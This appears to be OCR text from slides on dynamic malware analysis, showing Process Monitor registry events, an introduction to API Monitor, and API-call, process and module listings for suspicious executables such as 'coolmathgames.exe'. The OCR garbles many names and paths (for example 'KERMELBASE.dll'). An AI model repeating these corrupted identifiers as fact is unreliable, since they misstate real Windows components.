1151 Sysmon6d.exe 3168 [ RegQuerykey HKLM SUCCESS Query: Handle Tags, Handle Tags: 0x0 System acivity moritor C:\Windows \Sysmonbé exe
1151 Sysmonbdexe 3168 [ ReqCreateKey HKLM\Software\Microsoft'\EnterpriseCartficates \Disalowed SUCCESS Desired Access: Read/Wite, Delete, Dispostion: REG_OPENED_EXISTING...System activty moritor C:\Windows \Sysmonbd exe
T181... W Symonédene 3168 [B RecQueryKey HKLM\SOFTWARE \Microsoft\EnterpriseCertficates' Disalowed SUCCESS Guery: HandleTags, HandleTags: 0«0 System activty menitor C:Wiindows\Sysmen64 exe
<

Showing 3,838 of 97,158 events (3.9%) Backed by virtual memory.



Dynamic Analy

A API Monitor is a tool developed by
Rohitab Batra
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also has one of the highest learning
curves

A API Monitor hooks into a selected
process and monitors every API call
made by the process to the
Windows host

A This allows analysts to see every
action the process takes in full
depth
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re_launcher_20.exe

KERMELBASE. dll
KERMELBASE, dll
KERMELBASE. dII
KERMELBASE. dll
KERMELBASE. dll
KERMELBASE, dll
KERMELBASE. dII
apphelp.dll
apphelp.dll
apphelp.dll
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KERMELBASE. dll
KERMELBASE. dll

2ssW [ CUsers\Admin\Downloads\coolmathgames. exe”, “"coolmathgames.exe™,

, B8

tPathMame_U [ "Ch\UserstAdmintDownloadsicoolmathgames.exe”,
L ChUsersiAdmintDownloadsicoolmathgames, exe” )
lameType_U | "CA\Users\Admin\Downloads\coolmathgames.exe” )

,0,128)

seSRWLockShared | )

sicmp [ "NTDLL.DLL, "KERMELBASE.dII™ )
csicmp [ “VERIFIER.DLL", "KERMELBASE.dII™ )

eCriticalsection ]

=]
ca
&a

coolmathgames. exe™ )
, MULL}
, MULL}
, NULL)
, NULL )
L, CWinStathDefault™ )

. TRUE, CREATE_UNIC!
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Tl Additional Resources

Tl Application Installation and Servicing
[l Audio and video

T| Component Object Model (COM)

T| Data Access and Storage

T| Delta Compression

T| Devices

Tl Diagnostics

Tl Documents and Printing

[4] [l Graphics and Gaming

[ intemet

[ Microsoft .NET

[ wT native

T| Metscape Portable Runtime

Tl Metwork Security Services (N55)

Tl Metwaorking

Tl Office Development

[l seripting Runtime Library

[ security and Identity

. T| System Administration

T| System Services

T| Undocumented (UnDoc'd)

[l virtualization

[l visual C++ Run-Time Library

[4] [J] web Development

T| Windows Application Ul Development
T| Windows Data Types

[ windows Driver Kit

T| Windows Environment Development
Tl Wireless Metworking
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ApplicationFrameHost...
backgroundTaskHost....
blnsvr.exe
cmd.exe
cmd.exe
conhost exe
conhost.exe
caonhost.exe
ctfman.exe
dllhost.exe
dllhost.exe
dllhost. exe
dwm,exe
explorer.exe
fontdrvhost.exe
fontdrvhost.exe
lsass.exe

Mme exe

Mme. exe
msdtc.exe
msedge.exe
msedge.exe

msedge.exe

FID
5860
6612
3212
7788
10032
5628
8928
9876
5564
7288
7824
4272
512
5300
892
500
740
9500
7692
2684
3084
2904
8748

Processes | . Services

Monitored Processes
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=BLE}C\Users\Admin\Downloads\rc_launcher_80.exe - PID: 4784 - (Terminated)|
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143} Threads

rc_launcher_80.exe
KERMEL32.DLL
ntdIl.dll
KERMELBASE.dII
apphelp.dil
SHUWAPLdII
msvert.dll
ADVAPIZZ.dI
sechost.dll
RPCRT4.dllI
beryptprimitives.dll
ucrtbase. dil
VCRUNTIMET40.dlI

kernel.appcore.dll

{M] 1-1D: 1140 (r_launcher_30.exe +0x28920]

JE 2 - IDx 8296 (KERMELBASE. dIl!CtriRoutine < 0x0)

=-[85] Ch\Users\Admin\Downloads\coolmathgames.exe - PID: 2256 - Terminated)
: Modules
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ntdll.dll
coolmathgames.exe
KERMEL32.DLL
KERMELBASE.dII
apphelp.dil
SHUWAPLdII
msvert.dil
ADVAPIZZ.dII
sechost.dll
RPCRT4.dll
ucrtbase.dll
VCRUNTIME140.dlI
ws2_32.DLL
mswsock.dll
kernel.appcore.dll

Threads

-.[M] 1 -1D: 8484 (coolmathgames.exe <0x19434)

{9 2-1D

{4 3 -1D: 4740 (KERMELBASE. dil!CtrIRoutine +0x0)
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